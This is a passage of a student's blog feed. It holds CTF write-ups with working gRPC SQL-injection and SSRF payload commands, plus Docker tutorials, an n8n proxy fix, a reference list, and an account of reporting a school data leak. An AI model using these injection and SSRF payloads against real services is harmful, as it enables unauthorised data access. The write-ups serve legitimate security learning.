Then, by examining lines 11 to 21 of the source code, we saw that &lt;code&gt;GetUser returns a UserReply&lt;/code&gt;, and the surrounding lines show how &lt;code&gt;username&lt;/code&gt; is handled, so we created &lt;code&gt;user.proto&lt;/code&gt; accordingly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;syntax = &quot;proto3&quot;;

service UserService {
  rpc GetUser (UserRequest) returns (UserReply);
}

message UserRequest {
  string username = 1;
}

message UserReply {
  string data = 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, based on the challenge description and the &lt;code&gt;SQL query string&lt;/code&gt; on line 12, we discovered that in addition to &lt;code&gt;user:admin&lt;/code&gt;, there is also a key called &lt;code&gt;secret_flag&lt;/code&gt;. &amp;lt;/br&amp;gt;
Therefore, we constructed the payload accordingly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grpcurl -plaintext -proto user.proto -d &apos;{&quot;username&quot;: &quot;&apos;\&apos;&apos; OR key = &apos;\&apos;&apos;secret_flag&quot;}&apos; ???.com:14514 UserService/GetUser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then get the flag &amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: &quot;NHNC{lETs_cOoK_THe_GoOSE_:speaking_head::speaking_head::speaking_head:}&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Let&apos;s Cook Some Delicious Goose! (Web)&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://github.com/Frank-Kam/NHNC-2025_Chal/tree/main/Lets_Cook_Some_Delicious_Goose!&quot;&gt;Source Code&lt;/a&gt;&lt;/h3&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#### The Goose Is Run Awayyyyy!!!
![](https://static.styletc.com/images/cover/25/401925/md-a1e281da945043f7eab9b6dcc1b1ace6.jpg)
&amp;lt;/br&amp;gt;
Analyze the packets
&amp;lt;/br&amp;gt;

`Author:Frank` &amp;lt;/br&amp;gt;
*Ps : The File &amp;lt; 150 MB*
`[https://drive.google.com/file/d/1Vc3IEderqWIBcbDiHzLgx0vP9K15OxUS/view?usp=sharing](https://drive.google.com/file/d/1Vc3IEderqWIBcbDiHzLgx0vP9K15OxUS/view?usp=sharing)`
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Public File&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Happy_Log.pcapng
fetch.proto
flag_server.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We noticed that the public files include a &lt;code&gt;.pcapng&lt;/code&gt; packet capture file and a &lt;code&gt;.proto file used for gRPC&lt;/code&gt; communication. &amp;lt;/br&amp;gt;
We started by analyzing the packet capture file using Wireshark. &amp;lt;/br&amp;gt;
Use the filter at the top of Wireshark to filter for gRPC traffic. &amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grpc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, we can see packets like the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:method: POST
:scheme: http
:path: /fetch.FetchService/FetchURL
:authority: ???.com:6666
content-type: application/grpc
user-agent: grpcurl/v1.9.3 grpc-go/1.61.0
te: trailers
grpc-accept-encoding: gzip


:status: 200
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

grpc-status: 0
grpc-message: 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can clearly see a gRPC packet sent from the user to the target machine at &lt;code&gt;???.com:6666&lt;/code&gt;. &amp;lt;/br&amp;gt;
Based on fetch.proto and flag_server.py, we can tell this is an &lt;code&gt;SSRF test&lt;/code&gt;. In flag_server.py, it looks like you first need to &lt;code&gt;GET /token&lt;/code&gt; and then use the retrieved token to &lt;code&gt;POST to /POST&lt;/code&gt;. &amp;lt;/br&amp;gt;
Finallyyyyy, let&apos;s construct the payload. &amp;lt;/br&amp;gt;
Get token&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grpcurl -plaintext -proto fetch.proto -d &quot;{\&quot;url\&quot;:\&quot;http://localhost:80/token\&quot;,\&quot;method\&quot;:\&quot;GET\&quot;,\&quot;headers\&quot;:{}}&quot; ???.com:6666 fetch.FetchService/FetchURL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Post to /flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grpcurl -plaintext -proto fetch.proto -d &quot;{\&quot;url\&quot;:\&quot;http://localhost:80/flag\&quot;,\&quot;method\&quot;:\&quot;POST\&quot;,\&quot;headers\&quot;:{\&quot;Content-Type\&quot;:\&quot;application/x-www-form-urlencoded\&quot;},\&quot;body\&quot;:\&quot;token=66663333777nejwncc\&quot;}&quot; ???.com:6666 fetch.FetchService/FetchURL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then get the flag &amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NHNC{YuMMyeeeE_GOOOd_ChAL_rIGHT}&lt;/code&gt;&lt;/p&gt;
</content:encoded><author>Frank Kam</author></item><item><title>公民探究期末報告 資料來源 &amp; 參考資料</title><link>https://blog.frk.tw/posts/%E5%85%AC%E6%B0%91%E6%8E%A2%E7%A9%B6%E6%9C%9F%E6%9C%AB%E5%A0%B1%E5%91%8A_%E8%B3%87%E6%96%99%E4%BE%86%E6%BA%90</link><guid isPermaLink="true">https://blog.frk.tw/posts/%E5%85%AC%E6%B0%91%E6%8E%A2%E7%A9%B6%E6%9C%9F%E6%9C%AB%E5%A0%B1%E5%91%8A_%E8%B3%87%E6%96%99%E4%BE%86%E6%BA%90</guid><description>方便就放這</description><pubDate>Sat, 07 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h4&gt;東西太多所以就放我 Blog 了 ：）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://news.pts.org.tw/article/733781&quot;&gt;公視報導&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://db.cec.gov.tw/&quot;&gt;中選會資料庫&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.nsysu.edu.tw/p/404-1000-54901.php?Lang=zh-tw&quot;&gt;中山大學文章&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://youtu.be/S-sQn9lRtng?si=AJNqRnZang5dsSLu&quot;&gt;YouTube 影片&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://scups.ppo.scu.edu.tw/upload/f202206061415483q22m1.pdf&quot;&gt;東吳大學選舉研究中心報告&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.lawtw.com/archives/340353&quot;&gt;臺灣法律網文章&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jestw.nccu.edu.tw/uploads/paper/tw/%E5%85%A9%E5%B2%B8%E9%97%9C%E4%BF%82%E8%88%872008%E5%B9%B4%E5%8F%B0%E7%81%A3%E7%B8%BD%E7%B5%B1%E5%A4%A7%E9%81%B8%EF%BC%9A%E8%AA%8D%E5%90%8C%E3%80%81%E5%88%A9%E7%9B%8A%E3%80%81%E5%A8%81%E8%84%85%E8%88%87%E9%81%B8%E6%B0%91%E6%8A%95%E7%A5%A8%E5%8F%96%E5%90%91.pdf&quot;&gt;政大選舉研究中心論文&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.thinkingtaiwan.com/content/2249&quot;&gt;想想論壇文章&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://big5.taiwan.cn/jinrong/jrdt/tw/201301/t20130123_3576529.htm&quot;&gt;中國台灣網文章&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.taiwanncf.org.tw/ttforum/53/53-21.pdf&quot;&gt;台灣新世紀文教基金會文章&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tisanet.org/quarterly/6-2-3.pdf&quot;&gt;台灣國際研究學會季刊論文&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.businesstoday.com.tw/article/category/183027/post/202504160001/&quot;&gt;今周刊文章&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Frank Kam</author></item><item><title>Docker 基礎教學 Part2</title><link>https://blog.frk.tw/posts/docker-guide-2</link><guid isPermaLink="true">https://blog.frk.tw/posts/docker-guide-2</guid><description>Docker 基本指令</description><pubDate>Sun, 11 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;如果還沒看過上篇教學的，點&lt;a href=&quot;https://blog.frankk.uk/posts/docker-guide/&quot;&gt;這裡&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;操作 Docker 的方式&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;當然學一種指令最快的方法是&amp;lt;code&amp;gt;man git&amp;lt;/code&amp;gt;&lt;/s&gt;。docker-cli 故名思議是用來操作 Docker 的指令，而個人認為這是最直覺操作 Docker 的方法，當然還有其他方式，在這裡不做贅述，但還是列出常見的方式和學習資源。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/reference/cli/docker/&quot;&gt;docker-cli&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/desktop/&quot;&gt;Docker Desktop&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.portainer.io/&quot;&gt;Portainer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;常見指令&lt;/h2&gt;
&lt;p&gt;權限不夠在前面加&amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt;，或加入到 Docker User Group&lt;/p&gt;
&lt;h3&gt;ps&lt;/h3&gt;
&lt;p&gt;ps 在其他軟體的指令很常當做列出OOXX的意思，在 Docker 中也不例外 &amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker ps
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;列出目前在跑的所有 Services&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;docker compose ps
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;列出當前目錄下用 Compose 啟動的 Services&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;還沒寫完&lt;/p&gt;
&lt;p&gt;&amp;lt;/br&amp;gt;
&amp;lt;/br&amp;gt;
&amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;資料來源： &amp;lt;/br&amp;gt;
&lt;a href=&quot;https://docs.docker.com/&quot;&gt;Docker Docs&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/br&amp;gt;
&amp;lt;/br&amp;gt;
&amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;系列文章： &amp;lt;/br&amp;gt;
&lt;a href=&quot;https://blog.frankk.uk/posts/docker-guide-2/&quot;&gt;Part2&lt;/a&gt; Docker 基本指令 &amp;lt;/br&amp;gt;
&lt;a href=&quot;https://blog.frankk.uk/posts/docker-guide-3/&quot;&gt;Part3&lt;/a&gt; Docker 服務實作 &amp;lt;/br&amp;gt;
&lt;a href=&quot;https://blog.frankk.uk/posts/docker-guide-4/&quot;&gt;Part4&lt;/a&gt; Dockerfile &amp;amp; Compose 檔案撰寫&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><author>Frank Kam</author></item><item><title>在 n8n 遇到 Connection lost 可能的解決方法</title><link>https://blog.frk.tw/posts/n8n-proxy</link><guid isPermaLink="true">https://blog.frk.tw/posts/n8n-proxy</guid><description>n8n 上的 Connection lost 的解決方法</description><pubDate>Wed, 30 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;緣起&lt;/h1&gt;
&lt;p&gt;這幾天在研究 &lt;a href=&quot;https://n8n.io&quot;&gt;n8n&lt;/a&gt; 該如何使用，原本只有架設在 local ，但發現我們社團的主機有好幾臺在空著就架在了那邊&lt;/p&gt;
&lt;h1&gt;怎麽架的？&lt;/h1&gt;
&lt;p&gt;我用官方文件的 docker run 來跑， Port 跑在預設的 5678 沒有設Docker Proxy&lt;/p&gt;
&lt;h1&gt;問題來了&lt;/h1&gt;
&lt;p&gt;問題來了當我架好之後出現了 &lt;img src=&quot;/posts/images/n8n-proxy.png&quot; alt=&quot;n8n Connection lost 錯誤 Error&quot; title=&quot;錯誤截圖&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;原因為何？&lt;/h1&gt;
&lt;p&gt;按下 F12 看了 Console 之後發現有個
WebSocket 無法連線，推測是因為 WebSocket 沒有被 Proxy 到&lt;/p&gt;
&lt;h1&gt;解決方法&lt;/h1&gt;
&lt;p&gt;這裡我附上 Cloudflare Proxy 和 Nginx Proxy 上的解決方法，怕讀者也遇到這種問題&lt;/p&gt;
&lt;h3&gt;Cloudflare&lt;/h3&gt;
&lt;p&gt;在 網路 -&amp;gt; 打開 WebSocket 選項（HTTP/2也要開）&lt;/p&gt;
&lt;h3&gt;Nginx&lt;/h3&gt;
&lt;p&gt;在代理的地方加上這兩行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Frank Kam</author></item><item><title>Docker 基礎教學 Part1</title><link>https://blog.frk.tw/posts/docker-guide</link><guid isPermaLink="true">https://blog.frk.tw/posts/docker-guide</guid><description>Docker 介紹和安裝</description><pubDate>Wed, 30 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;因為看到蠻多認識的人，連Docker都不會用，故做此篇&lt;/p&gt;
&lt;h2&gt;Docker 是什麼？&lt;/h2&gt;
&lt;p&gt;具體原理和深入介紹請看&lt;a href=&quot;https://en.wikipedia.org/wiki/Docker_(software)&quot;&gt;維基百科&lt;/a&gt;，&lt;s&gt;懶得看也沒關係&lt;/s&gt; &amp;lt;/br&amp;gt;
我會說 Docker 就像一間公寓，每個 Containers 都在自己的房間裡做事，公寓外的土地可以當做底層的系統，負責所有 Containers or Services 的 I/O 吞吐&lt;/p&gt;
&lt;h2&gt;&quot;常見&quot;名詞定義&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Containers (容器) -&amp;gt; 可以理解成 Docker 裡的最小單位&lt;/li&gt;
&lt;li&gt;Services (服務) -----&amp;gt; 一組容器&lt;/li&gt;
&lt;li&gt;Image (鏡像) --------&amp;gt; 類似模板，定義了容器和服務的關係&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;安裝 Docker&lt;/h2&gt;
&lt;h3&gt;Linux&lt;/h3&gt;
&lt;h4&gt;Ubuntu (全部複製一起執行)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# apt update
sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y

# 移除非官方 Docker
sudo apt remove docker docker-engine docker.io containerd runc -y

# 安裝套件
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common

# 加入 Docker GPG Key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

# 加入 Docker 官方 source
echo &quot;deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable&quot; | sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null

# 更新 source 並安裝 Docker
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io

# 啟用並啟動 Docker
sudo systemctl enable docker
sudo systemctl start docker
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Debian (全部複製一起執行)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# apt update
sudo apt update &amp;amp;&amp;amp; sudo apt-get upgrade -y

# 移除非官方 Docker
sudo apt remove -y docker docker-engine docker.io containerd runc

# 安裝套件
sudo apt install -y ca-certificates curl gnupg lsb-release

# 加入 Docker GPG Key
sudo mkdir -m 0755 -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg

# 加入 Docker 官方 source
echo &quot;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian $(lsb_release -cs) stable&quot; | sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null

# 更新 source 並安裝 Docker
sudo apt-get update
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

# 啟用並啟動 Docker
sudo systemctl start docker
sudo systemctl enable docker
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Windows (需要WSL2或Hyper-v)&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/desktop/setup/install/windows-install/&quot;&gt;選擇適合的版本下載&lt;/a&gt; &amp;lt;/br&amp;gt;
然後點開 xxx.exe 一直下一步&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;macOS 和 FreeBSD 手邊剛好沒有就懶得寫了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;測試&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┬─[frank@Ub:~]
╰─&amp;gt;$ docker -v
Docker version 28.1.1, build 4eba377
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有輸出以上畫面即可
&amp;lt;/br&amp;gt;
&amp;lt;/br&amp;gt;
&amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;資料來源： &amp;lt;/br&amp;gt;
&lt;a href=&quot;https://docs.docker.com/&quot;&gt;Docker Docs&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;/br&amp;gt;
&amp;lt;/br&amp;gt;
&amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;系列文章： &amp;lt;/br&amp;gt;
&lt;a href=&quot;https://blog.frankk.uk/posts/docker-guide-2/&quot;&gt;Part2&lt;/a&gt; Docker 基本指令 &amp;lt;/br&amp;gt;
&lt;a href=&quot;https://blog.frankk.uk/posts/docker-guide-3/&quot;&gt;Part3&lt;/a&gt; Docker 服務實作 &amp;lt;/br&amp;gt;
&lt;a href=&quot;https://blog.frankk.uk/posts/docker-guide-4/&quot;&gt;Part4&lt;/a&gt; Dockerfile &amp;amp; Compose 檔案撰寫&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><author>Frank Kam</author></item><item><title>關於我挖Zeroday遇到的鳥事</title><link>https://blog.frk.tw/posts/school-s</link><guid isPermaLink="true">https://blog.frk.tw/posts/school-s</guid><pubDate>Sun, 29 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;h2&gt;title: &quot;關於我挖Zeroday遇到的鳥事&quot;
description: &quot;&quot;
pubDate: &quot;2024-12-29 00:00:00&quot;
category: &quot;info-sec&quot;
banner: &quot;@images/posts/school-sec_banner.webp&quot;
tags: [&quot;Info-sec&quot;]
oldViewCount: 8084
oldKeywords: [&quot;&quot;]&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我現在應該不能公佈漏洞本身，但值得講的還是很多&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我一直都有在挖 Zeroday (下稱 zd )或 CVE ，但這次挖到被某校資訊組找去問話還有叫家長...我蠻有意見的... :relaxed:&lt;/p&gt;
&lt;h2&gt;原由&lt;/h2&gt;
&lt;hr /&gt;
&lt;h3&gt;第一次通報&lt;/h3&gt;
&lt;p&gt;我在&lt;a href=&quot;https://zeroday.hitcon.org/vulnerability/ZD-2024-01270&quot;&gt;HITCON ZeroDay&lt;/a&gt;通報了一個漏洞&lt;s&gt;我被自己 InfoLeak&lt;/s&gt; ，有點懶開匿名，而且據我所知&amp;lt;code&amp;gt; HICON 不管有沒有開匿名，被通報者都可以知道通報者的 Email&amp;lt;/code&amp;gt; 當然只是聽說，&lt;s&gt;畢竟我沒被通報過&lt;/s&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;漏洞本身是，在某路徑下有幾乎從使用&quot;自主學習&quot;系統以來的全部的計劃簽名檔，有完整家長和學生的姓名和簽名，還有班級座號學號等，基本符合個資法對個資的定義&quot;辨識是誰&quot;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我在 2024/10/9 號通報，而學校在 2024/11/18 號回覆已修補完成，然而我發現&amp;lt;code&amp;gt;完全沒有修&amp;lt;/code&amp;gt;，至於爲什麼呢？資組長後來給我了很扯的回答，在後面會說。&lt;/p&gt;
&lt;h3&gt;第二次通報&lt;/h3&gt;
&lt;p&gt;我發現漏洞沒修之後，馬上通報&lt;a href=&quot;https://zeroday.hitcon.org/vulnerability/ZD-2024-01524&quot;&gt;第二次&lt;/a&gt;，並附上我在第一次通報那時後用 Gobuster 掃描出來的其他人的檔案。&lt;/p&gt;
&lt;h2&gt;被約談&lt;/h2&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;事情發生在2024/12/11&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;當天第一節剛好是他的資訊課，我在上課過了差不多開始了15分鐘聽他跟全班講完今天要做什麼之後。 &amp;lt;/br&amp;gt;
&amp;lt;code&amp;gt;
:man: ：x同學過來一下 &amp;lt;/br&amp;gt;
:man: ：這個洞是你通報的吼，自主學習那個 &amp;lt;/br&amp;gt;
我不想說謊，所以就說：是的 &amp;lt;/br&amp;gt;
:man: ：來來來，你看，你以前辦社團的時候簽得切結書
&amp;lt;/code&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;code&amp;gt;
:man: ：你自己看，&quot;攻擊和測試brabrabra&quot; &amp;lt;/br&amp;gt;
我就說：你看第一行的&quot;在社團中學習到的技能&quot; &amp;lt;/br&amp;gt;
:man: ：所以你是說這份切結書，對你無效？而且誰知道你是不是在社團學到的？ &amp;lt;/br&amp;gt;
我是社團資安組社師，想當然的不會學到，我就說：我是社師我學到什麼？ &amp;lt;/br&amp;gt;
:man: ：這樣是在強辯 &amp;lt;/br&amp;gt;
我就說：強辯什麼？白紙黑字在這裡
&amp;lt;/code&amp;gt;&lt;/p&gt;
&lt;p&gt;他感覺已經到了極點，就帶我去找教官&lt;/p&gt;
&lt;p&gt;&amp;lt;code&amp;gt;我在路上說，你看誰傳通報給你的啊 &amp;lt;/br&amp;gt;
你不用遵守學術網路使用規範嗎?
&amp;lt;/code&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;這裡我沒料到規範已經改過，但&lt;a href=&quot;https://web.archive.org/web/20241229062939/https://www.dysh.tyc.edu.tw/resource/openfid.php?id=11740&quot;&gt;我們學校&quot;這時&quot;的網路使用規範&lt;/a&gt;是抄原本學術使用規範的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;後來在教官那邊，我跟教官解釋一下原由後，他就安排我跟資組長講話。&lt;/p&gt;
&lt;p&gt;在那邊吵太多東西了，我找幾個比較重要的部分。他說我的意思是那份切結書對我來說沒用，但我認爲這稍微有點在誘答，我說是&quot;我的本意是規範有在社團學習到有關技能的人，且社團何必規範在外面學到的技能&quot;。還有他說我用工具掃，???工具掃then?差別在哪裡，不知道是不是對法律有什麼誤解，更何況&lt;s&gt;改個User-Agent 我不說是用工具誰會知道呢&lt;/s&gt;。。最重點的是他說，我有請你找洞嗎？我有請你測試嗎，==就是這樣臺灣的個資和網站才常常成爲破口&lt;/p&gt;
&lt;p&gt;待續...&lt;/p&gt;
</content:encoded><author>Frank Kam</author></item><item><title>NHNC 2024 Writeup</title><link>https://blog.frk.tw/posts/nhnc-2024</link><guid isPermaLink="true">https://blog.frk.tw/posts/nhnc-2024</guid><description>No Hack No CTF(NHNC) 2024的官方Writeup</description><pubDate>Sun, 29 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;這篇是從我之前HackMD搬過來的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我剛好是出題者，也負責部分靶機和整個 CTFd 平臺的維護和架設，總的來說蠻好玩的&lt;/p&gt;
&lt;h2&gt;哥布林保衞部公告(Web)&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://nhnc-ctf-frank.dypc.cc/&quot;&gt;link&lt;/a&gt;
查看原始碼就好了，在註釋裡面
Just check the source code, it&apos;s in the comments&lt;/p&gt;
&lt;h2&gt;Democracy(Web)&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://nhnc-ctf-frank2.dypc.cc/&quot;&gt;link&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;題目描述:
Problem description:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The Republic of Frank National Assembly needs your participation! 
Head over here
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提示:
hint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FOSS-Its means Open for what?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;index.html source&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;我們來修法&amp;lt;/title&amp;gt; &amp;lt;!--flagNH{NC-ItsFake}--&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;我們來修法&amp;lt;/h1&amp;gt;
	&amp;lt;h2&amp;gt;Frank共和國-刑法之讀書罪&amp;lt;/h2&amp;gt;
    &amp;lt;h2&amp;gt;
		I  讀書者，處五年以下有期徒刑、拘役或一百萬元以下罰金。&amp;lt;/br&amp;gt;
		II 犯前項之罪，因而取得國民小學、國民中學或高級中等學校畢業證書者，處三年以上十年以下有期徒刑；取得學士學位或以上證書者，處無期徒刑或七年以上有期徒刑。 &amp;lt;/br&amp;gt;
		III 第一項之未遂犯罰之。&amp;lt;/br&amp;gt;
		IV 預備犯第一項之罪者，處二年以下有期徒刑。&amp;lt;/h2&amp;gt;
    
	&amp;lt;a href=&quot;/next.html&quot;&amp;gt;
		&amp;lt;button&amp;gt;我要附議！&amp;lt;/button&amp;gt;
	&amp;lt;/a&amp;gt;  
&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;next.html source&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;script&amp;gt;
        (function(_0x1530b2,_0x25eae5){const _0xdd1554=_0x1d5d,_0x42a37d=_0x1530b2();while(!![]){try{const _0x1d1179=parseInt(_0xdd1554(0x154))/0x1*(parseInt(_0xdd1554(0x14f))/0x2)+parseInt(_0xdd1554(0x158))/0x3+parseInt(_0xdd1554(0x14e))/0x4+-parseInt(_0xdd1554(0x150))/0x5+parseInt(_0xdd1554(0x155))/0x6*(parseInt(_0xdd1554(0x14d))/0x7)+parseInt(_0xdd1554(0x157))/0x8*(parseInt(_0xdd1554(0x153))/0x9)+-parseInt(_0xdd1554(0x152))/0xa;if(_0x1d1179===_0x25eae5)break;else _0x42a37d[&apos;push&apos;](_0x42a37d[&apos;shift&apos;]());}catch(_0x295f65){_0x42a37d[&apos;push&apos;](_0x42a37d[&apos;shift&apos;]());}}}(_0x26c6,0x8eacd));function _0x26c6(){const _0x493e29=[&apos;3627595ecwUvD&apos;,&apos;location&apos;,&apos;24409390imErtQ&apos;,&apos;1674eJftVF&apos;,&apos;744XYYQZd&apos;,&apos;18mJJWtU&apos;,&apos;https://www.youtube.com/watch?v=dQw4w9WgXcQ&amp;amp;t=0s&apos;,&apos;47176PbUlsH&apos;,&apos;1796250tUXBLc&apos;,&apos;1051442HKnRWV&apos;,&apos;1936724tfzzCy&apos;,&apos;3012lhncSA&apos;];_0x26c6=function(){return _0x493e29;};return _0x26c6();}const encryptedFlag=[0xef,0xdd,0xef,0xce,0x176,0x101,0x13d,0x128,0x161,0x7a,0x15e,0xd4,0x128,0x15e,0x170,0xfb,0x140,0x13a,0x13d,0x161,0xc2,0x17c];let flag=&apos;&apos;;function _0x1d5d(_0x2251e,_0x652fc3){const _0x26c671=_0x26c6();return _0x1d5d=function(_0x1d5dc4,_0x9d9d2d){_0x1d5dc4=_0x1d5dc4-0x14d;let _0x3d0f47=_0x26c671[_0x1d5dc4];return _0x3d0f47;},_0x1d5d(_0x2251e,_0x652fc3);}for(let t=0x0;t&amp;lt;encryptedFlag[&apos;length&apos;];t++){const b=(encryptedFlag[t]-0x5)/0x3;flag+=String[&apos;fromCharCode&apos;](b);}setTimeout(()=&amp;gt;{const 